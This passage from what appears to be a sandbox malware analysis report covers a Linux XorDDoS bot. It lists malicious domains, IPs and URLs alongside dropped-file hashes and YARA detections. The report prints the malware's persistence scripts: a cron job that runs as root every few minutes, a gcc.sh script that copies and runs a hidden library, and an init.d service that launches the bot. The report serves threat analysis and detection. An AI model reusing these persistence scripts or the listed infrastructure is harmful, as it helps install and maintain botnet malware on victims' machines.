91.189.91.43	kF8ptOSQ8Q	Get hash	malicious	Browse
	SVcaaUrWJI	Get hash	malicious	Browse
	I8sti3mrD6	Get hash	malicious	Browse
	ldYKA4X18f	Get hash	malicious	Browse
	MipsLinuxTF	Get hash	malicious	Browse
	Ugliest.x86	Get hash	malicious	Browse
	Ugliest.mpsl	Get hash	malicious	Browse
	Ugliest.mips	Get hash	malicious	Browse
	Ugliest.arm5	Get hash	malicious	Browse
	Ugliest.arm7	Get hash	malicious	Browse
	Ugliest.arm	Get hash	malicious	Browse
	http://a.oracleservice.top/xms	Get hash	malicious	Browse
	Ah1Rf0aa6c	Get hash	malicious	Browse
	5a4sZ5187p	Get hash	malicious	Browse
	hOoQCXYvEZ	Get hash	malicious	Browse
	b3j1llqYGf	Get hash	malicious	Browse
	g5MgQm8yC5	Get hash	malicious	Browse
	jkjItu8lbs	Get hash	malicious	Browse
	l84hWcT7db	Get hash	malicious	Browse
	ryNzDK8d7O	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ppp.gggatat456.com	XZFWLZVF1Z	Get hash	malicious	Browse	54.36.15.99
	CD2uXlYGfa	Get hash	malicious	Browse	51.68.183.111
	7ZDbt9EUgm	Get hash	malicious	Browse	51.89.70.85
	ygljglkjgfg0	Get hash	malicious	Browse	51.89.52.13
	2wyzX8yBdR	Get hash	malicious	Browse	51.38.200.187
ppp.xxxatat456.com	libudev.so	Get hash	malicious	Browse	151.80.176.165
ppp.xxxatat456.com	TPHM5fHHv1	Get hash	malicious	Browse	51.38.200.186
www1.gggatat456.com	http://www1.gggatat456.com/dd.rar	Get hash	malicious	Browse	51.68.183.108
	w.txt	Get hash	malicious	Browse	92.222.83.172
	w.txt	Get hash	malicious	Browse	92.222.83.172
	1433.bin	Get hash	malicious	Browse	91.134.134.116
	libudev.so	Get hash	malicious	Browse	91.134.134.116
	TPHM5fHHv1	Get hash	malicious	Browse	51.77.240.165

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
OVHFR	https://coco-limited1.odoo.com/	Get hash	malicious	Browse	178.33.40.43
	https://domcerexport.com/closing/New%20folder/home.php	Get hash	malicious	Browse	142.44.139.57
	7CEF1246B0EA1A39D4C463E7BCAC2888434FC233588E3.exe	Get hash	malicious	Browse	54.38.136.57
	2VtgLpQnbY.dll	Get hash	malicious	Browse	192.99.251.50
	u2laVLaVCg.dll	Get hash	malicious	Browse	192.99.251.50
	Uo0PXTygOK.dll	Get hash	malicious	Browse	192.99.251.50
	Invoice # 5729627457 J#53844807 4018.xlsm	Get hash	malicious	Browse	192.99.251.50
	mNscXIxTQy.dll	Get hash	malicious	Browse	192.99.251.50
	Go1l0JjCbD.dll	Get hash	malicious	Browse	192.99.251.50
	9MT57ZqDjm.dll	Get hash	malicious	Browse	192.99.251.50
	O8X6N1iyst.dll	Get hash	malicious	Browse	192.99.251.50
	BHEUDwjuXI.dll	Get hash	malicious	Browse	192.99.251.50
	Fkdk2d4ceG.dll	Get hash	malicious	Browse	192.99.251.50
	wB8DFOm8z9.dll	Get hash	malicious	Browse	192.99.251.50
	INFO_14032022.xlsm	Get hash	malicious	Browse	51.75.33.122
	aMfOTP92cu.dll	Get hash	malicious	Browse	192.99.251.50
	Fichier 0684905950.xlsm	Get hash	malicious	Browse	51.75.33.122
	yZ18KD7X9t.dll	Get hash	malicious	Browse	51.75.33.122
	kv9B0AQGK5.dll	Get hash	malicious	Browse	51.75.33.122
	YzYpqclcyI.dll	Get hash	malicious	Browse	51.75.33.122
OVHFR	https://coco-limited1.odoo.com/	Get hash	malicious	Browse	178.33.40.43
	https://domcerexport.com/closing/New%20folder/home.php	Get hash	malicious	Browse	142.44.139.57
	7CEF1246B0EA1A39D4C463E7BCAC2888434FC233588E3.exe	Get hash	malicious	Browse	54.38.136.57
	2VtgLpQnbY.dll	Get hash	malicious	Browse	192.99.251.50
	u2laVLaVCg.dll	Get hash	malicious	Browse	192.99.251.50
	Uo0PXTygOK.dll	Get hash	malicious	Browse	192.99.251.50
	Invoice # 5729627457 J#53844807 4018.xlsm	Get hash	malicious	Browse	192.99.251.50
	mNscXIxTQy.dll	Get hash	malicious	Browse	192.99.251.50
	Go1l0JjCbD.dll	Get hash	malicious	Browse	192.99.251.50
	9MT57ZqDjm.dll	Get hash	malicious	Browse	192.99.251.50
	O8X6N1iyst.dll	Get hash	malicious	Browse	192.99.251.50
	BHEUDwjuXI.dll	Get hash	malicious	Browse	192.99.251.50
	Fkdk2d4ceG.dll	Get hash	malicious	Browse	192.99.251.50
	wB8DFOm8z9.dll	Get hash	malicious	Browse	192.99.251.50
	INFO_14032022.xlsm	Get hash	malicious	Browse	51.75.33.122
	aMfOTP92cu.dll	Get hash	malicious	Browse	192.99.251.50
	Fichier 0684905950.xlsm	Get hash	malicious	Browse	51.75.33.122
	yZ18KD7X9t.dll	Get hash	malicious	Browse	51.75.33.122
	kv9B0AQGK5.dll	Get hash	malicious	Browse	51.75.33.122
	YzYpqclcyI.dll	Get hash	malicious	Browse	51.75.33.122

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
/etc/cron.hourly/gcc.sh	x.o	Get hash	malicious	Browse
	23	Get hash	malicious	Browse
	23	Get hash	malicious	Browse
	XZFWLZVF1Z	Get hash	malicious	Browse
	EgrT0zBhDa	Get hash	malicious	Browse
	4ljhdTTyiA	Get hash	malicious	Browse
	7nJAEBDitl	Get hash	malicious	Browse
	ygljglkjgfg0	Get hash	malicious	Browse
	bVexvNSHcD	Get hash	malicious	Browse
	rJabrNEtBM	Get hash	malicious	Browse
	c1152b89-b68a-49af-af67-fd4b61683a72	Get hash	malicious	Browse
	w.txt	Get hash	malicious	Browse
	w.txt	Get hash	malicious	Browse
	1433.bin	Get hash	malicious	Browse
	isu80	Get hash	malicious	Browse
	java8000	Get hash	malicious	Browse
	libudev.so	Get hash	malicious	Browse
	qrfzdxxdxo	Get hash	malicious	Browse
	npobbdmwly	Get hash	malicious	Browse
	ehttqpxezu	Get hash	malicious	Browse

Created / dropped Files

/etc/cron.hourly/gcc.sh

Process:	/tmp/0Xorddos.o
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	228
Entropy (8bit):	4.807897441464882
Encrypted:	false
SSDEEP:	3:TKH4v1kxtsLNELQ9YmPQnMLnVMPQmlZnEMFaGZg28Xwf6SkCVcLNGLC75pkVKJdm:htiy4Mrm9lVNy28XbCVP270gJdE/v
MD5:	3BAB747CEDC5F0EBE86AAA7F982470CD
SHA1:	3C7D1C6931C2B3DAE39D38346B780EA57C8E6142
SHA-256:	74D31CAC40D98EE64DF2A0C29CEB229D12AC5FA699C2EE512FC69360F0CF68C5
SHA-512:	21E8A6D9CA8531D37DEF83D8903E5B0FA11ECF33D85D05EDAB1E0FEB4ACAC65AE2CF5222650FB9F533F459CCC51BB2903276FF6F827B847CC5E6DAC7D45A0A42
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 28%
Joe Sandbox View:	Filename: x.o, Detection: malicious, Browse Filename: 23, Detection: malicious, Browse Filename: 23, Detection: malicious, Browse Filename: XZFWLZVF1Z, Detection: malicious, Browse Filename: EgrT0zBhDa, Detection: malicious, Browse Filename: 4ljhdTTyiA, Detection: malicious, Browse Filename: 7nJAEBDitl, Detection: malicious, Browse Filename: ygljglkjgfg0, Detection: malicious, Browse Filename: bVexvNSHcD, Detection: malicious, Browse Filename: rJabrNEtBM, Detection: malicious, Browse Filename: c1152b89-b68a-49af-af67-fd4b61683a72, Detection: malicious, Browse Filename: w.txt, Detection: malicious, Browse Filename: w.txt, Detection: malicious, Browse Filename: 1433.bin, Detection: malicious, Browse Filename: isu80, Detection: malicious, Browse Filename: java8000, Detection: malicious, Browse Filename: libudev.so, Detection: malicious, Browse Filename: qrfzdxxdxo, Detection: malicious, Browse Filename: npobbdmwly, Detection: malicious, Browse Filename: ehttqpxezu, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	#!/bin/sh.PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin.for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done.cp /lib/libudev.so /lib/libudev.so.6./lib/libudev.so.6.

/etc/crontab

Process:	/bin/sh
File Type:	ASCII text
Category:	dropped
Size (bytes):	41
Entropy (8bit):	3.8484226636198593
Encrypted:	false
SSDEEP:	3:FFP13tKebPv4KFcKv:/P1IebPPFcKv
MD5:	636299E19F3BFB8CDA661BC956C1CE7F
SHA1:	2B45273CCBFE139D58FC3554D6943D4338C18E15
SHA-256:	8CBDE8A027F2887DD7A3C5C6F98FDF127BAE31FE457FEF9D7945C9E48D195F44
SHA-512:	41AF1A49B86C9C81965AF32B404494CC5072AFDA004F385977110F8EA134A770650CBD2F9617AFCD87D6744954659BE4AE365E65DCA4491A375275E710310F1A
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	/3 * * * root /etc/cron.hourly/gcc.sh.

/etc/init.d/0Xorddos.o

Process:	/tmp/0Xorddos.o
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.166743766711012
Encrypted:	false
SSDEEP:	6:hUtoFdU9qnpnnsKheJfppBE21YJvmNeMwhGAnR1DzRIXe6Mz824:6EnpnmBpBEMO1GAn7zuOz0
MD5:	8A817233B7A399F1F9D8867E6A437B4F
SHA1:	E1711CAEFD68F4DFE6F6D4A2BBE7CC1431525FDF
SHA-256:	1531D863751AB181551D40338A4F808D14360E60A3FDC4725D4F07089B49F708
SHA-512:	299CFE2912899C02233F6F0FA209B9DCCC249868CFD970FDFF9EED000F6427283F3AFACAEBB93392D9920BC125B0166224B29A043F22163FAE97DF7848280B05
Malicious:	true
Reputation:	low
Preview:	#!/bin/sh.# chkconfig: 12345 90 90.# description: 0Xorddos.o.### BEGIN INIT INFO.# Provides:..0Xorddos.o.# Required-Start:..# Required-Stop:..# Default-Start:.1 2 3 4 5.# Default-Stop:...# Short-Description:.0Xorddos.o.### END INIT INFO.case $1 in.start)../tmp/0Xorddos.o..;;.stop)..;;.*)../tmp/0Xorddos.o..;;.esac.

/memfd:snapd-env-generator (deleted)

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/run/gcc.pid

Process:	/tmp/0Xorddos.o
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	32
Entropy (8bit):	3.8431390622295662
Encrypted:	false
SSDEEP:	3:fdXKJE94RGWN:fgJ7RBN
MD5:	BC3ECE281088B7A2F325D5D7365CDDC5
SHA1:	E7241FE2E1A55BBB44D85AAA6B1ECBEF1A0EED45
SHA-256:	59C383DB9C95D8BC8A6ECB8E13F75B9D6C93A00DD01A16B944D78D1380C2FF4E
SHA-512:	10BE855AEA473511C7CE92670548FB739B4CE11ECAF4DD2D7147CDF963D7DF9E8DBFD7E835006BDB2F326B54950D2BEB93E9D7EBEE221E6965EF9C8B090601CC
Malicious:	false
Reputation:	low
Preview:	ccqixroquutawfxidxtibsbbatzhzrcb

/usr/bin/aoyymackpm

Process:	/tmp/0Xorddos.o
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
Category:	dropped
Size (bytes):	625911
Entropy (8bit):	6.244493221850218
Encrypted:	false
SSDEEP:	12288:FBXOvdwV1/n/dQFhWlH/c1dHo4h9L+zNZrr4T6yF8EEP4UlUuTh1AJ:FBXmkN/+Fhu/Qo4h9L+zNN4BVEBl/91+
MD5:	4B35D88168505669DF2E8BA08379E487
SHA1:	47AFC160CC700BAEE519DFB79D2B1140B0D4A94F
SHA-256:	B9A1D39B33F81010A0BF173ABBDD488771484CD319455C5B5B76B80986B096C3
SHA-512:	2EF98CDF414AD4F9DBAAC784738F444EF6A7B36D40D78DE98D14E24A7D51A0D0459C0B2E0E566181EED4E0D8C6433A2025B1C0300C8FBB683FE4FBAC0E769BBF
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/aoyymackpm, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/aoyymackpm, Author: ditekSHen Rule: XOR_DDosv1, Description: Rule to detect XOR DDos infection, Source: /usr/bin/aoyymackpm, Author: Akamai CSIRT
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	.ELF........................4....r......4. ...(......................a...a...............a...............r........................ ... ................a..............@...........Q.td........................................GNU.................U.....5..................1.^....PTRh Q..h`Q..QVh............U..S........[..,p..........t..~..X[.......U..S....=.....uT.0...-(.......X......9.v...&...............(........9.w......t...$.~................[]......U..............Z..o....t .T$..D$......D$.......$.~.......4.....t........t...$4.......U.....E..D$..E..D$..E...$.....E..D$..E...$...........U...(.E.....D$..E..D$...$.+...]....E..}..x..E....;E....E......?.E..E.....E..E..".E..E....</u..U.....E..........m...}..y.E..E.E...U...(.E.....D$..E..D$...$.+........E..}..x..E....;E....E........E..E.....E..E.E...U...(...............D$..D$.......$.P....E..D$..D$..+...D$.............$......E.....D$..E..D$.........$.<....E..}..x..E....;E...............E..E.....E...............U..W.....

/usr/bin/cukrqcagnz

Process:	/tmp/0Xorddos.o
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
Category:	dropped
Size (bytes):	625911
Entropy (8bit):	6.24449948056327
Encrypted:	false
SSDEEP:	12288:FBXOvdwV1/n/dQFhWlH/c1dHo4h9L+zNZrr4T6yF8EEP4UlUuTh1A9:FBXmkN/+Fhu/Qo4h9L+zNN4BVEBl/912
MD5:	C8D0992125712B7648CE9D7C261DECEA
SHA1:	317F319C1968F329D225EEF558DDF53537B8FDFC
SHA-256:	62A78007649CFD64826B71994A3DBD59DE437C204A3FAF3779B7FE747B427814
SHA-512:	7AA01970883F731CA6A05C9FC590658F10C20A5B7936C85297E3C48906014F76B541EBE40998143CC0A219FC92F60366FB4A30ADA0B2A5000016FDFC0E488A53
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/cukrqcagnz, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/cukrqcagnz, Author: ditekSHen Rule: XOR_DDosv1, Description: Rule to detect XOR DDos infection, Source: /usr/bin/cukrqcagnz, Author: Akamai CSIRT
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	.ELF........................4....r......4. ...(......................a...a...............a...............r........................ ... ................a..............@...........Q.td........................................GNU.................U.....5..................1.^....PTRh Q..h`Q..QVh............U..S........[..,p..........t..~..X[.......U..S....=.....uT.0...-(.......X......9.v...&...............(........9.w......t...$.~................[]......U..............Z..o....t .T$..D$......D$.......$.~.......4.....t........t...$4.......U.....E..D$..E..D$..E...$.....E..D$..E...$...........U...(.E.....D$..E..D$...$.+...]....E..}..x..E....;E....E......?.E..E.....E..E..".E..E....</u..U.....E..........m...}..y.E..E.E...U...(.E.....D$..E..D$...$.+........E..}..x..E....;E....E........E..E.....E..E.E...U...(...............D$..D$.......$.P....E..D$..D$..+...D$.............$......E.....D$..E..D$.........$.<....E..}..x..E....;E...............E..E.....E...............U..W.....

/usr/bin/cvltgpdmgk

Process:	/tmp/0Xorddos.o
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
Category:	dropped
Size (bytes):	625911
Entropy (8bit):	6.244493384035504
Encrypted:	false
SSDEEP:	12288:FBXOvdwV1/n/dQFhWlH/c1dHo4h9L+zNZrr4T6yF8EEP4UlUuTh1AG:FBXmkN/+Fhu/Qo4h9L+zNN4BVEBl/911
MD5:	868C28A2F8B2CA95F48A4E00A2889E23
SHA1:	D98EE9FB929FCF943F5F7E73898D6DB6CAE2C506
SHA-256:	4ABC032921CBDF1589DA8037CA84EA07E1A6AC40027030EEB5FC039ACC264995
SHA-512:	7E2412A34796145ED287A72DC6404DC1941155487F7D22CA2E0117310A1384ADE6AAB5A0E9456563A93C4EE10A171B1047E3789D6B1D9BB774F87E43C18F85F8
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/cvltgpdmgk, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/cvltgpdmgk, Author: ditekSHen Rule: XOR_DDosv1, Description: Rule to detect XOR DDos infection, Source: /usr/bin/cvltgpdmgk, Author: Akamai CSIRT
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	.ELF........................4....r......4. ...(......................a...a...............a...............r........................ ... ................a..............@...........Q.td........................................GNU.................U.....5..................1.^....PTRh Q..h`Q..QVh............U..S........[..,p..........t..~..X[.......U..S....=.....uT.0...-(.......X......9.v...&...............(........9.w......t...$.~................[]......U..............Z..o....t .T$..D$......D$.......$.~.......4.....t........t...$4.......U.....E..D$..E..D$..E...$.....E..D$..E...$...........U...(.E.....D$..E..D$...$.+...]....E..}..x..E....;E....E......?.E..E.....E..E..".E..E....</u..U.....E..........m...}..y.E..E.E...U...(.E.....D$..E..D$...$.+........E..}..x..E....;E....E........E..E.....E..E.E...U...(...............D$..D$.......$.P....E..D$..D$..+...D$.............$......E.....D$..E..D$.........$.<....E..}..x..E....;E...............E..E.....E...............U..W.....

/usr/bin/cvvhpkxdyk

Process:	/tmp/0Xorddos.o
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
Category:	dropped
Size (bytes):	610304
Entropy (8bit):	6.209349289572672
Encrypted:	false
SSDEEP:	12288:FBXOvdwV1/n/dQFhWlH/c1dHo4h9L+zNZrr4T6yF8EEP4Ul3:FBXmkN/+Fhu/Qo4h9L+zNN4BVEBl3
MD5:	96320734381749DA66B251CF007D8FF5
SHA1:	8DFA9E396C77317A2938AE9DBDA5BED0F747C673
SHA-256:	0774FEC8F52346211FC87FCB41318D9BD3ED00A1F00D9D13E10FE64F8313661B
SHA-512:	ECF20530AD8A53E9C5515B83FF2410F55C6BD8B4F8A82AF5BE2BE80C73C0A3920DC23E04534BB4161F5368D483F5D54F24D9B645D7312BC6E42BCED37A0F4B96
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/cvvhpkxdyk, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/cvvhpkxdyk, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	.ELF........................4....r......4. ...(......................a...a...............a...............r........................ ... ................a..............@...........Q.td........................................GNU.................U.....5..................1.^....PTRh Q..h`Q..QVh............U..S........[..,p..........t..~..X[.......U..S....=.....uT.0...-(.......X......9.v...&...............(........9.w......t...$.~................[]......U..............Z..o....t .T$..D$......D$.......$.~.......4.....t........t...$4.......U.....E..D$..E..D$..E...$.....E..D$..E...$...........U...(.E.....D$..E..D$...$.+...]....E..}..x..E....;E....E......?.E..E.....E..E..".E..E....</u..U.....E..........m...}..y.E..E.E...U...(.E.....D$..E..D$...$.+........E..}..x..E....;E....E........E..E.....E..E.E...U...(...............D$..D$.......$.P....E..D$..D$..+...D$.............$......E.....D$..E..D$.........$.<....E..}..x..E....;E...............E..E.....E...............U..W.....

/usr/bin/gbsknxiwip

Process:	/tmp/0Xorddos.o
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
Category:	dropped
Size (bytes):	625911
Entropy (8bit):	6.244502294476434
Encrypted:	false
SSDEEP:	12288:FBXOvdwV1/n/dQFhWlH/c1dHo4h9L+zNZrr4T6yF8EEP4UlUuTh1At:FBXmkN/+Fhu/Qo4h9L+zNN4BVEBl/91m
MD5:	332829866022C2218579E44D63C2DAE3
SHA1:	E3616AB2946C1B3256B194BD70D1EA6D19A16767
SHA-256:	9B3C568C241B3FFE14814ED803574A19AAEEF188DB1A3715CC8990A35428CC81
SHA-512:	B57B18BAD9C7F43B2F824CB6264F85EB86D4C5447AF713AD67D0C65733AFB285D5FD1E867C9B528E706DDD4893A3F8C24000E422640BDCC8B154F8AD823CB2C2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/gbsknxiwip, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/gbsknxiwip, Author: ditekSHen Rule: XOR_DDosv1, Description: Rule to detect XOR DDos infection, Source: /usr/bin/gbsknxiwip, Author: Akamai CSIRT
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....r......4. ...(......................a...a...............a...............r........................ ... ................a..............@...........Q.td........................................GNU.................U.....5..................1.^....PTRh Q..h`Q..QVh............U..S........[..,p..........t..~..X[.......U..S....=.....uT.0...-(.......X......9.v...&...............(........9.w......t...$.~................[]......U..............Z..o....t .T$..D$......D$.......$.~.......4.....t........t...$4.......U.....E..D$..E..D$..E...$.....E..D$..E...$...........U...(.E.....D$..E..D$...$.+...]....E..}..x..E....;E....E......?.E..E.....E..E..".E..E....</u..U.....E..........m...}..y.E..E.E...U...(.E.....D$..E..D$...$.+........E..}..x..E....;E....E........E..E.....E..E.E...U...(...............D$..D$.......$.P....E..D$..D$..+...D$.............$......E.....D$..E..D$.........$.<....E..}..x..E....;E...............E..E.....E...............U..W.....

/usr/bin/gpcmhoiszu

Process:	/tmp/0Xorddos.o
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
Category:	dropped
Size (bytes):	625911
Entropy (8bit):	6.244497243971949
Encrypted:	false
SSDEEP:	12288:FBXOvdwV1/n/dQFhWlH/c1dHo4h9L+zNZrr4T6yF8EEP4UlUuTh1AR:FBXmkN/+Fhu/Qo4h9L+zNN4BVEBl/91q
MD5:	2398B188E4CCDFA7852549D00ECE9EB7
SHA1:	77E532E484720DA9DA4D72C4447457F17B674CF7
SHA-256:	5330F23C3C97D7D729BF2BEC498A37B23FD3C96CE9CC71B27BB8DF6C4AD181BC
SHA-512:	8030EF47C055AF9BDBFF658E8361E7023922B861C936058479EC0C76D28D6253E57A375E3B8ED9A4D17A792BB2EA070535F1DAC14F04F5316596250A45B7F88F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/gpcmhoiszu, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/gpcmhoiszu, Author: ditekSHen Rule: XOR_DDosv1, Description: Rule to detect XOR DDos infection, Source: /usr/bin/gpcmhoiszu, Author: Akamai CSIRT
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....r......4. ...(......................a...a...............a...............r........................ ... ................a..............@...........Q.td........................................GNU.................U.....5..................1.^....PTRh Q..h`Q..QVh............U..S........[..,p..........t..~..X[.......U..S....=.....uT.0...-(.......X......9.v...&...............(........9.w......t...$.~................[]......U..............Z..o....t .T$..D$......D$.......$.~.......4.....t........t...$4.......U.....E..D$..E..D$..E...$.....E..D$..E...$...........U...(.E.....D$..E..D$...$.+...]....E..}..x..E....;E....E......?.E..E.....E..E..".E..E....</u..U.....E..........m...}..y.E..E.E...U...(.E.....D$..E..D$...$.+........E..}..x..E....;E....E........E..E.....E..E.E...U...(...............D$..D$.......$.P....E..D$..D$..+...D$.............$......E.....D$..E..D$.........$.<....E..}..x..E....;E...............E..E.....E...............U..W.....

/usr/bin/njezqqgxiu

Process:	/tmp/0Xorddos.o
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
Category:	dropped
Size (bytes):	625911
Entropy (8bit):	6.24449797058036
Encrypted:	false
SSDEEP:	12288:FBXOvdwV1/n/dQFhWlH/c1dHo4h9L+zNZrr4T6yF8EEP4UlUuTh1Ad:FBXmkN/+Fhu/Qo4h9L+zNN4BVEBl/91u
MD5:	1E085BDF101BBE4F3C0DD1FE168620DF
SHA1:	105FEA7C611E07B50537F71C5663B52F735ED4E1
SHA-256:	36CBFA998C2B904E2CB8D5425934A0231617CCDE37DA7FA5B523C03CEEDBFF31
SHA-512:	5EB8C41FA76992926D0C7BED91264613371E70DE2AAC7164814FB677129E3E79F90BAFBAB00156A6131B3A1833DBD88CCFA94CEA907664937BF649029963E668
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/njezqqgxiu, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/njezqqgxiu, Author: ditekSHen Rule: XOR_DDosv1, Description: Rule to detect XOR DDos infection, Source: /usr/bin/njezqqgxiu, Author: Akamai CSIRT
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....r......4. ...(......................a...a...............a...............r........................ ... ................a..............@...........Q.td........................................GNU.................U.....5..................1.^....PTRh Q..h`Q..QVh............U..S........[..,p..........t..~..X[.......U..S....=.....uT.0...-(.......X......9.v...&...............(........9.w......t...$.~................[]......U..............Z..o....t .T$..D$......D$.......$.~.......4.....t........t...$4.......U.....E..D$..E..D$..E...$.....E..D$..E...$...........U...(.E.....D$..E..D$...$.+...]....E..}..x..E....;E....E......?.E..E.....E..E..".E..E....</u..U.....E..........m...}..y.E..E.E...U...(.E.....D$..E..D$...$.+........E..}..x..E....;E....E........E..E.....E..E.E...U...(...............D$..D$.......$.P....E..D$..D$..+...D$.............$......E.....D$..E..D$.........$.<....E..}..x..E....;E...............E..E.....E...............U..W.....

/usr/bin/qizbpqmtbi

Process:	/tmp/0Xorddos.o
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
Category:	dropped
Size (bytes):	625911
Entropy (8bit):	6.24448863231829
Encrypted:	false
SSDEEP:	12288:FBXOvdwV1/n/dQFhWlH/c1dHo4h9L+zNZrr4T6yF8EEP4UlUuTh1AD:FBXmkN/+Fhu/Qo4h9L+zNN4BVEBl/91o
MD5:	A1B79114B59E6FC4CB28E756F2425224
SHA1:	51841ECD47D554261AC2CFB6E477519BFDC784C4
SHA-256:	D730F46771EBB455F2D08332B6FC6474421DB9BF76E839B629AB717A6BAA0F9D
SHA-512:	B43F0864C9ACAB1CD4F3484119013149A1F9329591431A216EE4C93C81BFBD68EC4936A78FEE529FF4BE1B75B5BEC389614B75420DF79C090D45D23184992F7E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/qizbpqmtbi, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/qizbpqmtbi, Author: ditekSHen Rule: XOR_DDosv1, Description: Rule to detect XOR DDos infection, Source: /usr/bin/qizbpqmtbi, Author: Akamai CSIRT
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....r......4. ...(......................a...a...............a...............r........................ ... ................a..............@...........Q.td........................................GNU.................U.....5..................1.^....PTRh Q..h`Q..QVh............U..S........[..,p..........t..~..X[.......U..S....=.....uT.0...-(.......X......9.v...&...............(........9.w......t...$.~................[]......U..............Z..o....t .T$..D$......D$.......$.~.......4.....t........t...$4.......U.....E..D$..E..D$..E...$.....E..D$..E...$...........U...(.E.....D$..E..D$...$.+...]....E..}..x..E....;E....E......?.E..E.....E..E..".E..E....</u..U.....E..........m...}..y.E..E.E...U...(.E.....D$..E..D$...$.+........E..}..x..E....;E....E........E..E.....E..E.E...U...(...............D$..D$.......$.P....E..D$..D$..+...D$.............$......E.....D$..E..D$.........$.<....E..}..x..E....;E...............E..E.....E...............U..W.....

/usr/bin/tngemhgnzk

Process:	/tmp/0Xorddos.o
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
Category:	dropped
Size (bytes):	625911
Entropy (8bit):	6.244498067523995
Encrypted:	false
